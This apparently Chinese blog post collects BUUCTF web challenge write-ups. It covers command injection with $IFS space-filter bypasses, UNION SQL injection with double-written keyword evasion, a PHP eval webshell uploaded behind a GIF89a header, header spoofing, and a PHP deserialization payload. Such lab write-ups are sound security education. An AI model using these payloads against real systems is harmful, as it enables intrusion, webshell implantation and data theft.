[BUUCTF]Web刷题记录
为提升观感体验,本篇博文长期更新,新题目以二次编辑形式附在最后
[ACTF2020 新生赛]Exec
打开后发现网页是关于执行一个ping指令,经过测试是直接执行的,所以就直接命令执行了
127.0.0.1 | cat /flag
总结一下常见的Linux管道符
|
按位或,直接执行|后面的语句||
逻辑或,如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句&
按位与,&前面和后面的都要执行,无论前面真假&&
逻辑与,如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
[GXYCTF2019]Ping Ping Ping
打开可以看到很明显的提示,传参就是ip=,尝试传入/?ip=127.0.0.1
,有回显,说明这是命令执行注入了,先用ls看看有什么文件
得到了一个f语言的回显,很明显空格会被过滤,所以我们尝试去掉空格
成功,下一步就开始考虑如何看到flag.php里面的内容,首先的问题就是如何绕过空格过滤,这里整理一下常见的空格过滤方法
\(IFS
\){IFS}
$IFS$1 //\(1改成\)加其他数字都可以
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09
尝试最后使用$IFS
和$IFS$1
都可以成功绕过,以此来cat一下/?ip=127.0.0.1|cat$IFSflag.php
emm看起来不太友好,看来flag关键词也被过滤了,那就先试试看index.php,使用\(IFS没有回显,尝试使用\)IFS$1,成功得到回显
现在思路清晰了,接下来就是考虑如何显示flag.php的问题了,我们可以尝试使用反引号内联执行的做法,linux下反引号里面包含的就是需要执行的系统命令,而反引号里面的系统命令会先执行,成功执行后将结果传递给调用它的命令<br />`/?ip=127.0.0.1;cat$IFS`ls
这时候查看源代码即可得到最终的flag
[极客大挑战 2019]LoveSQL
开屏一道SQL注入题目,先试试万能密码http://bbebaf1d-6128-4a49-9450-c1b729df9780.node4.buuoj.cn:81/check.php?username=admin' or '1'='1&password=1
md5解密失败,回到注入的思路上
/check.php?username=admin' order by 3%23&password=1
字段数为3时,回显正常,使用union查询回显点位
/check.php
?username=1' union select 1,2,3%23
&password=1
得到回显点位为2和3,查询数据库相关信息
/check.php?username=1' union select 1,database(),version()%23
&password=1
接着查询表名
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
可以得到如上两个表,接着爆破各个表的字段
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser'%23&password=1
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
两个表均为以上结果,接着爆破各个表的数据
/check.php?username=1' union select 1,2,group_concat(id,username,password) from geekuser%23&password=1
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
可以看到flag已经找到了,本题得解
[极客大挑战 2019]Knife
打开可以看到赫然显示着eval($_POST["Syc"]);
,再根据题目Knife,明显是要用菜刀来解决,传参就是用Syc,因此打开蚁剑,尝试连接,成功
在根目录下找到了flag,本题得解
[极客大挑战 2019]Http
打开网页查看内容
要求必须用https://Sycsecret.buuoj.cn
访问,因此传入bp,加上Referer:https://Sycsecret.buuoj.cn
再次请求
还需要浏览器标识为Syclover,因此再加上User-Agent: Syclover
提示只能从本地访问,那么还需要再加上x-Forwarded-For:127.0.0.1
,终于显示了flag,题目得解
[极客大挑战 2019]Upload
访问之后是一个文件上传的页面,接着就可以想到上传一句话木马进行控制
创建文件1.phtml
,填写内容
<script language="php">eval($_POST['shell']);</script>
接着上传,用bp抓包修改文件类型为image/jpeg
,上传失败,提示Do not lie me,怀疑是对图片内容有检测,因此在这之前再加上一部分
GIF89a
<script language="php">eval($_POST['shell']);</script>
上传成功,接着猜测文件保存的位置,首先猜测路径为upload,那么打开蚁剑尝试一下,连接成功,在根目录下即可找到flag
[ACTF2020 新生赛]Upload
打开题目后发现还是一个上传问题,故猜测和上题解题思路一致,上传一句话木马提示只能上传图片格式,接着用开发者工具进行元素审查
可以看到这里调用了checkFile的js函数进行审查,所以审查元素将这部分删去,这里我直接删去了return false
部分
测试,上传成功,蚁剑连接即可getshell
[极客大挑战 2019]BabySQL
打开一看,映入眼帘的和之前的那道SQL题目差别不大,上来先试万能密码,发现or用不了,遂再测试其他使用方法
/check.php?username=admin&password=1 %27 union select 1 %23
发现union和select被过滤了,再双写试一下
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
看到这里基本上这一步就稳了,接下来就是试列数,逐个递增尝试,最终在3处注入成功,得到了回显
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
接下来爆破数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
得到数据库为geek,接着尝试爆处所有的数据库
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23
在这里看到一个ctf的库比较可疑,进行爆破
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(table_name)frfromom(infoorrmation_schema.tables)
whwhereere table_schema="ctf" %23
找到一个flag表,接着爆破其中的字段
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23
再根据字段名flag爆数据
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
本题得解
[极客大挑战 2019]PHP
看到网页内部有提示网站备份,所以用dirsearch扫描一下网站目录,找到了www.zip,这就是我们需要的网站备份文件,直接下载打开后,在index.php里面找到了一段加载class.php
文件的函数,然后用GET传递了一个select参数,随后将其反序列化
打开具体看class.php内容
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
根据代码的意思可以知道,如果password=100,username=admin,在执行__destruct()的时候可以获得flag,因此我们构造反序列化
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
}
$a = new Name('admin', 100);
var_dump(serialize($a));
?>
保存运行后得到反序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
在反序列化的时候会首先执行__wakeup()
魔术方法,但是这个方法会把我们的username重新赋值,所以我们跳过__wakeup()
转而执行__destruct
跳过__wakeup()
在反序列化字符串时,属性个数的值大于实际属性个数时,会跳过 __wakeup()函数,因此我们修改反序列化内容
O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
private
上述声明变量是private,private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上0的前缀。字符串长度也包括所加前缀的长度
我们再次改造
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
测试
使用get请求把我们准备好的序列化当作select的参数传递过去
/?select=O:4:%22Name%22:3:{s:14:%22%00Name%00username%22;s:5:%22admin%22;s:14:%22%00Name%00password%22;i:100;}
成功得到flag,本题得解
[BUUCTF]Web刷题记录的更多相关文章
- 攻防世界Web刷题记录(进阶区)
攻防世界Web刷题记录(进阶区) 1.baby_web 发现去掉URLhttp://111.200.241.244:51461/1.php后面的1.php,还是会跳转到http://111.200.2 ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- buuctf misc 刷题记录
1.金三胖 将gif分离出来. 2.N种方法解决 一个exe文件,果然打不开,在kali里分析一下:file KEY.exe,ascii text,先txt再说,base64 图片. 3.大白 crc ...
- web刷题记录 极客大挑战2019Knife upload buy a flag
极客2019Knife webshell就是以asp.php.jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理.服务器管理.权限管理等操作.使用方法简单,只需上传一个代码文件,通 ...
- BUGKU web刷题记录
web1 直接F12查看源码,得到flag. web2 直接输入验证码答案,长度被限制,修改可输入长度,提交后得到flag. web3 $what=$_GET['what']; echo $what; ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
- 刷题记录:[De1CTF 2019]Giftbox && Comment
目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...
- 刷题记录:[强网杯 2019]Upload
目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...
- 刷题记录:[XNUCA2019Qualifier]EasyPHP
目录 刷题记录:[XNUCA2019Qualifier]EasyPHP 解法一 1.error_log结合log_errors自定义错误日志 2.include_path设置包含路径 3.php_va ...
- 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System
目录 刷题记录:[CISCN2019 东北赛区 Day2 Web3]Point System 知识点 1.padding-oracle attack 2.cbc字节翻转攻击 3.FFMpeg文件读取漏 ...
随机推荐
- nkIO方法
import java.util.*; public class Main{ public static void main(String args[]){ Scanner sc = new Scan ...
- IDEA 启动SpringBoot项目或Spring项目出现程序包XXX不存在
该方法是在你的pom中的依赖(是否缺少,版本是否兼容)maven仓库等配置没有问题的情况下 第一种方法: 打开IDEA底部的终端Terminal,输入"mvn idea:idea" ...
- Web_Servlet之间请求转发
Servlet2 @WebServlet(urlPatterns = "/aa") public class JspService extends HttpServlet { pr ...
- hdu: Dire Wolf(区间DP)
Problem DescriptionDire wolves, also known as Dark wolves, are extraordinarily large and powerful wo ...
- 安装 TensorFlow 参考过的资料
anaconda 的新环境创建 https://blog.csdn.net/yandajiangjun/article/details/102615912
- kettle连接mysql报Communications link failure
添加2个命名参数 1.autoReconnect=true 2.useSSL=false
- 艾思最新案例分享:塔蓝物流app-物流仓储管理系统app. app开发
塔蓝物流app是一款物流仓储管理app:主要业务范围空运,海运,进出口货物及过境货物的运输代理,包括揽物订舱,仓储(危险品除外),包装,搬运装卸,中转,流通加工,集装箱拼装拆箱(危险品除外),结算运杂 ...
- Ansys-CHEMKIN-pro表面反应机制输入(Surface Kinetics Input)规则
chemkin表面反应机制文件(Ansys-CHEMKIN-pro表面反应机制输入) 1. 文件包含表面活性位(相).表面组分,固相组分.固相,热力学数据,反应机制: 2. 顺序:物质名称,活性位数据 ...
- jxg项目Day4-数据库和mybatis的连接映射
配置:yml配置文件中配置数据库的参数,还有映射的参数 1.建实体类User,属性与数据库表对应 2.Mapper包下建UserMapper,继承BaseMapper<User> 3.Se ...
- CentOS查看已安装的服务与卸载服务。。
1:使用rpm查看, rmp -qa | grep servername rpm -qa 查看以安装的所有服务,grep过滤我们需要看的服务. 2:使用yum查看<此命令恕在下未能完全理解,可能 ...